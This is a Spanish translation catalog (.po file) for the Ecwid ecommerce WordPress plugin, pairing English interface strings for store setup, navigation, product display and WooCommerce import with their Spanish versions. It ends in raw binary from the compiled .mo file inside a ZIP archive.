pages, and highlight store products on other site pages and in sidebars." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales." #: templates/admin/storefront/area-promo.php:29 msgid "Promote your store" msgstr "Promocione su tienda" #: templates/admin/storefront/area-promo.php:26 msgid "Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store." msgstr "Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda." #: templates/admin/storefront/area-promo.php:25 msgid "Change store content" msgstr "Cambiar el contenido de la tienda" #: templates/admin/storefront/area-promo.php:22 msgid "Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand." msgstr "Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca." #: templates/admin/storefront/area-promo.php:21 msgid "Customize store appearance" msgstr "Personalizar la apariencia de la tienda" #: templates/admin/storefront/area-promo.php:7 msgid "Add your %s store to the website and start selling in minutes." msgstr "Añada su tienda de %s al sitio web y comience a vender en minutos." #: templates/admin/storefront/area-promo.php:3 msgid "What's next?" msgstr "¿Qué sigue?" #: templates/admin/storefront/area-additional.php:224 msgid "Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar." msgstr "Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral." #: templates/admin/storefront/area-additional.php:222 msgid "Choose the main store page" msgstr "Elegir la página principal de la tienda" #: templates/admin/storefront/area-additional.php:200 msgid "Go to Pages" msgstr "Ir a «Páginas»" #: templates/admin/storefront/area-additional.php:193 msgid "You can add the entire storefront, categories, products, or \"Buy now\" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block." msgstr "Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado." #: templates/admin/storefront/area-additional.php:189 msgid "Add your store to other site pages" msgstr "Añada su tienda a otras páginas del sitio web" #: templates/admin/storefront/area-additional.php:166 msgid "Create Product Page" msgstr "Crear página de productos" #: templates/admin/storefront/area-additional.php:150 msgid "Pick Product" msgstr "Elegir un producto" #: templates/admin/storefront/area-additional.php:136 #: templates/admin/storefront/area-additional.php:138 msgid "Create a landing page featuring one of your products." msgstr "Cree una página de aterrizaje con uno de sus productos." #: templates/admin/storefront/area-additional.php:132 msgid "Add a product page" msgstr "Añadir página de productos" #: templates/admin/storefront/area-additional.php:109 msgid "Create Category Page" msgstr "Crear página de categorías" #: templates/admin/storefront/area-additional.php:93 msgid "Pick Category" msgstr "Elegir una categoría" #: templates/admin/storefront/area-additional.php:79 #: templates/admin/storefront/area-additional.php:81 msgid "Feature a specific store category on a separate page of your site." msgstr "Destacar una categoría de la tienda específica en una página separada de su sitio web." #: templates/admin/storefront/area-additional.php:75 msgid "Add a category page" msgstr "Añadir una página de categoría" #: templates/admin/storefront/area-additional.php:54 msgid "Create Search Page" msgstr "Crear página de búsqueda" #: templates/admin/storefront/area-additional.php:50 msgid "Show customers that they can use a search and filters to find desired products faster." msgstr "Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida." #: templates/admin/storefront/area-additional.php:48 msgid "Add a search and filters page" msgstr "Añadir una página de búsqueda y filtros" #: templates/admin/storefront/area-additional.php:27 msgid "Create Cart Page" msgstr "Crear página del carrito" #: templates/admin/storefront/area-additional.php:23 msgid "Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout." msgstr "Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago." #: templates/admin/storefront/area-additional.php:21 msgid "Add cart and checkout page" msgstr "Añadir carrito y página de pago" #: templates/admin/storefront/area-additional.php:4 msgid "Highlight products, categories, and other store pages by adding them to separate website pages." msgstr "Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas." #: templates/admin/storefront/area-additional.php:3 msgid "Additional store pages" msgstr "Páginas adicionales de la tienda" #: templates/admin/storefront/draft-message.php:2 msgid "Publish the page to use this option" msgstr "Publique la página para poder utilizar esta opción" #: templates/admin/storefront/area-design.php:55 msgid "Along with the store catalog, you can add other widgets and texts to the store page." msgstr "Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda." #: templates/admin/storefront/area-design.php:54 msgid "Store page content" msgstr "Contenido de la página de la tienda" #: templates/admin/storefront/area-design.php:25 #: templates/admin/storefront/area-design.php:27 msgid "Adjust your store design to fit your business needs." msgstr "Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio." #: templates/admin/storefront/area-design.php:21 msgid "Store appearance" msgstr "Apariencia de la tienda" #: templates/admin/storefront/area-design.php:4 msgid "Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers." msgstr "Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes." #: templates/admin/storefront/area-design.php:3 msgid "Design and content" msgstr "Diseño y contenido" #: templates/admin/storefront/area-status.php:124 msgid "Create Store Page" msgstr "Crear la página de la tienda" #: templates/admin/storefront/area-status.php:121 msgid "Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display." msgstr "Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda." #: templates/admin/storefront/area-status.php:115 msgid "Set Up Your Store" msgstr "Configure su tienda" #: templates/admin/storefront/area-status.php:109 msgid "To show your storefront instead of the demo store, connect your existing %s account or create a new one." msgstr "Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva." #: templates/admin/storefront/area-status.php:101 msgid "Publish Store Page" msgstr "Publicar la página de la tienda" #: templates/admin/storefront/area-status.php:98 msgid "Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders." msgstr "La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos." #: templates/admin/storefront/area-status.php:92 msgid "View Store Page" msgstr "Ver la página de la tienda" #: templates/admin/storefront/area-status.php:86 msgid "Your store page is published. Customers can browse your store at " msgstr "La página de su tienda está publicada. Los clientes pueden visitar su tienda en " #: templates/admin/storefront/area-status.php:77 msgid "View demo store page" msgstr "Ver la página de la tienda de demostración" #: templates/admin/storefront/area-status.php:46 msgid "Draft" msgstr "Borrador" #: templates/admin/storefront/area-status.php:45 msgid "Published" msgstr "Publicada" #: templates/admin/storefront/area-status.php:33 #: templates/admin/storefront/area-status.php:36 msgid "Status" msgstr "Estado" #: templates/admin/storefront/area-status.php:29 msgid "Add a store page" msgstr "Añadir una página de tienda" #: templates/admin/storefront/area-status.php:24 msgid "Connect your %s store" msgstr "Conecte su tienda de %s" #: templates/admin/storefront/area-status.php:21 msgid "Your store page" msgstr "La página de su tienda" #: templates/admin/storefront/area-status.php:10 msgid "To start selling, add a page to your site where the storefront will display." msgstr "Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual." #: templates/admin/storefront/area-status.php:7 msgid "While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site." msgstr "Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web." #: templates/admin/storefront/area-status.php:4 msgid "Store page on your site" msgstr "Página de la tienda en su sitio web" #: templates/admin/storefront/area-navigation.php:205 msgid "The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href=\"%s\" target=\"_blank\">adjust the cart icon appearance</a>." msgstr "El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href=\"%s\" target=\"_blank\">ajustar la apariencia del icono del carrito</a>." #: templates/admin/storefront/area-navigation.php:201 msgid "Display the shopping cart icon on site pages" msgstr "Muestre el icono del carrito de compras en las páginas del sitio web" #: templates/admin/storefront/area-navigation.php:179 msgid "Manage Sidebar" msgstr "Gestionar la barra lateral" #: templates/admin/storefront/area-navigation.php:175 msgid "Highlight your best sellers or new products in the website sidebar." msgstr "Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web." #: templates/admin/storefront/area-navigation.php:173 msgid "Feature your products in the sidebar" msgstr "Destaque sus productos en la barra lateral" #: templates/admin/storefront/area-navigation.php:151 msgid "Add Store Page to Menu" msgstr "Añadir la página de la tienda al menú" #: templates/admin/storefront/area-navigation.php:147 msgid "Make your store accessible from the site menu so your customers can easily find it." msgstr "Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente." #: templates/admin/storefront/area-navigation.php:141 msgid "Add store page to the site menu" msgstr "Añadir la página de la tienda al menú del sitio web" #: templates/admin/storefront/area-navigation.php:118 msgid "Edit URL Slug" msgstr "Editar «slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:102 msgid "Current URL slug: /<span data-ec-store-slug>%s</span>" msgstr "«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>" #: templates/admin/storefront/area-navigation.php:78 msgid "Save" msgstr "Guardar" #: templates/admin/storefront/area-navigation.php:69 msgid "URL Slug" msgstr "«Slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:60 #: templates/admin/storefront/area-navigation.php:113 msgid "A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use \"/shop\" or \"/products\"." msgstr "Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos»." #: templates/admin/storefront/area-navigation.php:56 #: templates/admin/storefront/area-navigation.php:98 msgid "Customize store page address" msgstr "Personalizar la dirección de la página de la tienda" #: templates/admin/storefront/area-navigation.php:29 msgid "Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href=\"%s\" target=\"_blank\">WordPress Settings > Reading</a>" msgstr "Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href=\"%s\" target=\"_blank\">Configuración de WordPress > Lectura</a>." #: templates/admin/storefront/area-navigation.php:21 msgid "Show your store on the home page" msgstr "Muestre su tienda en la página de inicio" #: templates/admin/storefront/area-navigation.php:4 msgid "Help customers find your store on the website." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web." #: templates/admin/storefront/area-navigation.php:3 msgid "Navigation" msgstr "Navegación" #: templates/admin/welcome-no_oauth.php:12 msgid "Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>." msgstr "El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>." #: templates/admin/welcome-create.php:11 msgid "Your store has been created. Preparing your store dashboard ..." msgstr "Se ha creado su tienda. Preparando el panel de su tienda..." #: templates/admin/welcome-connect.php:8 msgid "Create store" msgstr "Crear tienda" #: templates/admin/welcome-connect.php:4 msgid "Connect Your Store" msgstr "Conecte su tienda" #: templates/admin/welcome-page.php:61 msgid "Provided by <a %s>%s</a>" msgstr "Proporcionado por <a %s>%s</a>" #: templates/admin/welcome-page.php:33 msgid "To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>." msgstr "Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>." #: templates/admin/welcome-page.php:20 msgid "Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website." msgstr "Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web." #: templates/admin/welcome-page.php:12 msgid "Add an Online Store to Your Website" msgstr "Añadir una tienda en línea a su sitio web" #: includes/class-ecwid-store-page.php:566 msgid "This is a demo store. Create your store to see your store products here." msgstr "Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí." #: includes/class-ecwid-admin-storefront-page.php:539 msgid "Publish" msgstr "Publicar" #: templates/admin/storefront/area-design.php:33 #: templates/admin/storefront/area-design.php:59 #: includes/class-ecwid-admin-storefront-page.php:532 msgid "Edit" msgstr "Editar" #: includes/class-ecwid-admin-storefront-page.php:525 msgid "Preview" msgstr "Vista previa" #: includes/class-ecwid-admin-storefront-page.php:516 msgid "Switch to draft" msgstr "Cambiar al borrador" #: includes/class-ecwid-admin-storefront-page.php:506 msgid "Edit page" msgstr "Editar página" #: includes/class-ecwid-admin-storefront-page.php:499 msgid "View store page" msgstr "Ver la página de la tienda" #: includes/class-ecwid-admin-storefront-page.php:286 msgid "Search products" msgstr "Buscar productos" #: includes/class-ecwid-admin-storefront-page.php:265 msgid "Category" msgstr "Categoría" #: includes/class-ecwid-admin-storefront-page.php:240 msgid "Page with that name already exists." msgstr "Ya existe una página con ese nombre." #: includes/class-ecwid-admin.php:538 msgid "My Profile" msgstr "Mi perfil" #: includes/class-ecwid-admin.php:533 msgid "Apps" msgstr "Aplicaciones" #: includes/class-ecwid-admin.php:523 msgid "Shipping & Pickup" msgstr "Envío y recogida" #: includes/class-ecwid-admin.php:518 msgid "Payment" msgstr "Pago" #: includes/class-ecwid-admin.php:513 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:88 msgid "Design" msgstr "Diseño" #: includes/class-ecwid-admin.php:509 msgid "Configuration" msgstr "Configuración" #: includes/class-ecwid-admin.php:504 msgid "All Sales Channels" msgstr "Todos los canales de venta" #: includes/class-ecwid-admin.php:499 msgid "Website" msgstr "Sitio web" #: includes/class-ecwid-admin.php:494 msgid "Mobile" msgstr "Móvil" #: includes/class-ecwid-admin.php:485 msgid "Sales channels" msgstr "Canales de venta" #: includes/class-ecwid-admin.php:480 msgid "Reports" msgstr "Informes" #: includes/class-ecwid-admin.php:475 msgid "Marketing" msgstr "Mercadotecnia" #: includes/class-ecwid-admin.php:470 msgid "Catalog" msgstr "Catálogo" #: includes/class-ecwid-admin.php:465 msgid "My Sales" msgstr "Mis ventas" #: includes/class-ecwid-admin.php:455 msgid "Store management" msgstr "Gestión de la tienda" #: includes/class-ecwid-admin.php:344 msgid "Instant site" msgstr "Sitio web instantáneo" #: includes/class-ecwid-admin.php:153 includes/class-ecwid-admin.php:154 #: includes/class-ecwid-admin.php:309 msgid "Storefront" msgstr "Escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Manage storefront" msgstr "Gestionar escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Customize design" msgstr "Personalizar el diseño" #: ecwid-shopping-cart.php:1103 msgid "Manage store" msgstr "Gestionar la tienda" #: templates/importer/woo-main.tpl.php:97 msgid "Start Import" msgstr "Iniciar la importación" #: templates/importer/woo-main.tpl.php:87 msgid "Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target=\"_blank\">\"Billing & Plans\"</a></nobr> page in your Ecwid store control panel." msgstr "Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target=\"_blank\">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid." #: templates/importer/woo-main.tpl.php:82 msgid "Import creates new products and update the existing products with matching SKUs." msgstr "La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes." #: templates/importer/woo-main.tpl.php:60 msgid "Copying products and categories." msgstr "Copia de productos y categorías." #: templates/importer/woo-main.tpl.php:50 msgid "Import completed. <a href=\"%s\">Run again.</a>" msgstr "Importación completada. <a href=\"%s\">Ejecútela de nuevo.</a>" #: templates/importer/woo-main.tpl.php:34 msgid "Import is in Progress" msgstr "La importación está en progreso" #: templates/importer/woo-main.tpl.php:32 msgid "Import your products from Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/woo-main.tpl.php:18 msgid "Update your catalog" msgstr "Actualice su catálogo" #: templates/importer/woo-main.tpl.php:4 msgid "Import Your Products From Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/import-no-token.tpl.php:3 msgid "Click the connect button to get rights to update the product catalog" msgstr "Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos" #: templates/importer/woo-complete-alert.tpl.php:52 msgid "Go to Your %s Products" msgstr "Ir a sus productos de %s" #: templates/importer/woo-complete-alert.tpl.php:43 msgid "Download <a href=\"%s\">import log</a>" msgstr "Descargar <a href=\"%s\">registro de importación</a>" #: templates/importer/woo-complete-alert.tpl.php:32 msgid "Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>" msgstr "Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>" #: templates/importer/woo-complete-alert.tpl.php:21 msgid "<b>%s</b> categories" msgstr "<b>%s</b> categorías" #: templates/importer/woo-complete-alert.tpl.php:18 msgid "Imported <b>%s</b> products" msgstr "<b>%s</b> productos importados" #: templates/importer/woo-complete-alert.tpl.php:15 msgid "Import completed" msgstr "Importación completada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:10 #: includes/widgets/class-ecwid-widget-product-browser.php:12 msgid "Online store" msgstr "Tienda en línea" #: includes/class-ecwid-store-page.php:476 msgid "%s Store Page" msgstr "Página de la tienda de %s" #: templates/advanced-settings.php:79 msgid "Integration with search on your site" msgstr "Integración con la búsqueda en su sitio web" #: templates/sync.php:130 msgid "Deleted products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: includes/class-ecwid-custom-admin-page.php:66 msgid "Themes for Ecwid" msgstr "Temas para Ecwid" #: includes/class-ecwid-custom-admin-page.php:33 msgid "Plugins for Ecwid" msgstr "Complementos para Ecwid" #: includes/class-ecwid-popup-deactivate.php:138 msgid "I use this WordPress theme: %s" msgstr "Utilizo este tema de WordPress: %s" #: includes/class-ecwid-popup-deactivate.php:132 msgid "I couldn’t find a WordPress theme that goes well with %s" msgstr "No pude encontrar un tema de WordPress adecuado para %s" #: includes/class-ecwid-product-browser.php:357 msgid "On the right" msgstr "A la derecha" #: includes/class-ecwid-product-browser.php:353 msgid "On the left" msgstr "A la izquierda" #: includes/class-ecwid-product-browser.php:349 msgid "Filters panel position" msgstr "Posición del panel de filtros" #: includes/class-ecwid-product-browser.php:209 msgid "Default product_ID" msgstr "ID del producto predeterminado" #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:73 msgid "Cart icon" msgstr "Icono del carrito de compras" #: templates/shortcode-stub-store.tpl.php:4 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:20 #: js/gutenberg/blocks.build.js:1 msgid "Store Home Page" msgstr "Página de inicio de la tienda" #: ecwid-shopping-cart.php:431 msgid "Edit Category" msgstr "Editar categoría" #: ecwid-shopping-cart.php:430 msgid "Edit Product" msgstr "Editar producto" #: includes/class-ecwid-admin.php:142 includes/class-ecwid-admin.php:143 msgid "Online Store Apps" msgstr "Aplicaciones de la tienda en línea" #. Plugin Name of the plugin msgid "Ecwid Ecommerce Shopping Cart" msgstr "Carrito de compras del comercio electrónico de Ecwid" #: includes/class-ecwid-custom-admin-page.php:58 includes/faq_entries.php:76 msgid "Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href=\"%s\">TemplateMonster themes</a>" msgstr "Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href=\"%s\">temas de TemplateMonster</a>." #: includes/faq_entries.php:74 msgid "Is there a WordPress theme for Ecwid?" msgstr "¿Existe algún tema de WordPress para Ecwid?" #: templates/admin-footer.php:19 msgid "<a href=\"admin.php?page=" msgstr "<a href=\"admin.php?page=" #: includes/integrations/class-ecwid-integration-gutenberg.php:113 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:25 msgid "You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href=\"%1$s\">Appearance → Customize → %2$s</a>†menu to enable it." msgstr "Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href=\"%1$s\">Apariencia → Personalizar → %2$s</a>» para habilitarlo." #: includes/integrations/class-ecwid-integration-gutenberg.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:18 msgctxt "gutenberg-store-block-stub" msgid "Store" msgstr "Tienda" #: includes/class-ecwid-product-browser.php:472 msgid "Image feed" msgstr "Canal de imagen" #: includes/class-ecwid-product-browser.php:467 msgid "Vertical thumbnails" msgstr "Miniaturas verticales" #: includes/class-ecwid-product-browser.php:462 msgid "Horizontal thumbnails" msgstr "Miniaturas horizontales" #: includes/class-ecwid-product-browser.php:452 msgid "3 columns, image on the right" msgstr "3 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:448 msgid "3 columns, image on the left" msgstr "3 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:444 msgid "2 columns, image on the right" msgstr "2 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:440 msgid "2 columns, image on the left" msgstr "2 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:429 msgid "Landscape 3:2" msgstr "Horizontal 3:2" #: includes/class-ecwid-product-browser.php:424 msgid "Landscape 4:3" msgstr "Horizontal 4:3" #: includes/class-ecwid-product-browser.php:419 msgid "Square 1:1" msgstr "Cuadrado 1:1" #: includes/class-ecwid-product-browser.php:414 msgid "Portrait 3:4" msgstr "Vertical 3:4" #: includes/class-ecwid-product-browser.php:409 msgid "Portrait 2:3" msgstr "Vertical 2:3" #: includes/class-ecwid-product-browser.php:399 msgid "L" msgstr "G" #: includes/class-ecwid-product-browser.php:395 msgid "M" msgstr "M" #: includes/class-ecwid-product-browser.php:391 msgid "S" msgstr "P" #: includes/class-ecwid-product-browser.php:381 msgid "Show on hover" msgstr "Mostrar al pasar el ratón" #: includes/class-ecwid-product-browser.php:377 msgid "Hide" msgstr "Ocultar" #: includes/class-ecwid-product-browser.php:373 msgid "Show" msgstr "Mostrar" #: includes/class-ecwid-product-browser.php:342 msgid "Background color" msgstr "Color del fondo" #: includes/class-ecwid-product-browser.php:335 msgid "Link color" msgstr "Color del enlace" #: includes/class-ecwid-product-browser.php:328 msgid "Price color" msgstr "Color del precio" #: includes/class-ecwid-product-browser.php:321 msgid "Text color" msgstr "Color del texto" #: includes/class-ecwid-product-browser.php:314 msgid "Button color" msgstr "Color del botón" #: includes/class-ecwid-product-browser.php:299 msgid "Wholesale prices" msgstr "Precios al por mayor" #: includes/class-ecwid-product-browser.php:292 msgid "\"In stock\" label" msgstr "Etiqueta de productos «En existencia»" #: includes/class-ecwid-product-browser.php:285 msgid "Available qty in stock" msgstr "Cantidad disponible en existencia" #: includes/class-ecwid-product-browser.php:278 msgid "Product quantity" msgstr "Cantidad de productos" #: includes/class-ecwid-product-browser.php:271 msgctxt "product-browser-attributes" msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:264 msgctxt "product-browser-attributes" msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:257 msgid "Breadcrumbs" msgstr "Migas de pan" #: includes/class-ecwid-product-browser.php:241 msgid "Image gallery layout" msgstr "Diseño de la galería de imágenes" #: includes/integrations/class-ecwid-integration-gutenberg.php:391 #: includes/class-ecwid-product-browser.php:224 #: includes/class-ecwid-product-browser.php:233 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:212 msgid "Show description under the image" msgstr "Mostrar descripción debajo de la imagen" #: includes/class-ecwid-product-browser.php:216 msgid "Product page layout" msgstr "Diseño de la página de productos" #: includes/class-ecwid-product-browser.php:194 msgid "Display sort by link" msgstr "Mostrar «ordenar por enlace»" #: includes/class-ecwid-product-browser.php:186 #: includes/class-ecwid-product-browser.php:306 msgid "Display sign in link" msgstr "Mostrar el enlace de inicio de sesión" #: includes/class-ecwid-product-browser.php:178 msgid "Display footer menu" msgstr "Mostrar el menú del pie de página" #: includes/class-ecwid-product-browser.php:170 msgid "Display breadcrumbs" msgstr "Mostrar migas de pan" #: includes/class-ecwid-product-browser.php:163 js/gutenberg/blocks.build.js:1 msgid "Display search box" msgstr "Mostrar el cuadro de búsqueda" #: includes/class-ecwid-product-browser.php:156 msgid "Display categories menu" msgstr "Mostrar el menú de categorías" #: includes/class-ecwid-product-browser.php:148 msgid "Category thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:140 msgid "Category thumbnail size" msgstr "Tamaño de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:131 msgid "Image only" msgstr "Solo imagen" #: includes/class-ecwid-product-browser.php:127 msgid "Title only" msgstr "Solo título" #: includes/class-ecwid-product-browser.php:123 msgid "Image and title on mouse over" msgstr "Imagen y título al pasar el ratón por encima" #: includes/class-ecwid-product-browser.php:119 msgid "Title on image" msgstr "Título en la imagen" #: includes/class-ecwid-product-browser.php:115 msgid "Title under image" msgstr "Título debajo de la imagen" #: includes/class-ecwid-product-browser.php:111 msgid "Category card layout" msgstr "Diseño de la ficha de categoría" #: includes/class-ecwid-product-browser.php:103 msgid "Show additional image on hover" msgstr "Mostrar imagen adicional al pasar el ratón" #: includes/class-ecwid-product-browser.php:95 msgid "Buy now buttons" msgstr "Botones de «Comprar ahora»" #: includes/class-ecwid-product-browser.php:87 msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:79 msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:71 msgid "Product title" msgstr "Título del producto" #: includes/class-ecwid-product-browser.php:61 msgid "Justify" msgstr "Justificado" #: includes/class-ecwid-product-browser.php:56 msgid "Right" msgstr "Derecha" #: includes/class-ecwid-product-browser.php:51 msgid "Center" msgstr "Centrado" #: includes/class-ecwid-product-browser.php:46 msgid "Left" msgstr "Izquierda" #: includes/class-ecwid-product-browser.php:42 msgid "Product card text align" msgstr "El texto de la ficha del producto se alinea" #: includes/class-ecwid-product-browser.php:34 msgid "Show product card border" msgstr "Mostrar el borde de la ficha del producto" #: includes/class-ecwid-product-browser.php:26 msgid "Product thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura del producto" #: includes/class-ecwid-product-browser.php:18 msgid "Product thumbnail size" msgstr "Tamaño dePK������Ê—[Ò}t3ñ'��ñ'��:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_ES.monu�„[µü¤��������Þ•����K������t��e���Ì��-��`�����Ž����������¦�� ���¸�����Ã��/��×����� �����! �� ���2 ��k���@ �����¬ �����Å ��"���Ù ��#���ü ��,��� ��!���M �����o �����€ �����Ÿ ��)���» ��+���å ��(��� �� ���: �����F ��1���` �����’ �����¦ �����À �����Ó �����Ø �����à �����ñ �����ú �� ��� ����� �� ��� ��Þ���% ��%��� ����* ��]���C�����¡�� ���¦�����°�����À�����×�����ô��c�����l���t�����á��W���æ�����>��-���P�� ���~�����‹��T��¥�����ú��������Þ��� �����è�����ü�� �����7��� �����E��œ���e��/��������2�����N��T���_��^���´��7�����;���K�����‡����������µ��J��Ê������� ���&�����0�����C�����K��o��_�����Ï�� ���ï�����ü��l��� �����z��&���—��3���¾��5���ò��4���(��0���]�����Ž��#���¦�����Ê��-���ê��2�����1���K�� ���}�����Š��8���§��+���à��1��� ��)���>�����h�����o�����w�� ���Ž�����œ�����®�����·�����¾����Î��$���×��W��ü��p���T�����Å�����Ë�����Ú��*���î����� ��!���9 ��‡���[ ��„���ã �����h!��\���o!�����Ì!��(���á!����� "�� ���"��b��?"�����¢#�����©#��#��Ã#�����ç$�����%����� %��8���%�����S%��˜���o%��A���&�����J&�����h&��]���{&��T���Ù&��9���.'��:���h'�����£'�����»'�����Ú'��!���J���������9���D���3���K���������������:������&������F���%���E����������6���B���+����������$������ ���G���"���@������)��������������������C���0��� ��������������#���8����������(���<���?�������,���A�������5������� �������7�������'��� ���;���/���*��� ��������������������������������������������.������������������H���2���1��� ���������>���4������=���-����������I��������������<strong>Ecwid shopping cart is almost ready</strong>. Please visit <a target="_blank" href="%s">the created page</a> to see your store with demo products. In order to finish the installation, please go to the <a href="admin.php?page=ecwid"><strong>Ecwid settings</strong></a> and configure the plugin.�Account status�Advanced�Advanced settings�Appearance�Appearance settings�By default, the storefront shows a list of root categories. You can override this behavior and show a different category when customers open your store for the first time. This is useful if you only have one category or want to display a specific set of items (e.g. "Featured Products") to new visitors.�Category shown by default�Congratulations!�Control panel�Create a new Ecwid account which you will use to manage your store and inventory. The registration is free.�Create new Ecwid account�Default category ID�Default view mode on product pages�Default view mode on search results�Display horizontal categories above products�Display search box above products�Ecwid Search Box�Ecwid Shopping Bag (Mini view)�Ecwid Shopping Bag (Normal)�Ecwid Shopping Cart — Advanced settings�Ecwid Shopping Cart — Appearance settings�Ecwid Shopping Cart — General settings�Ecwid 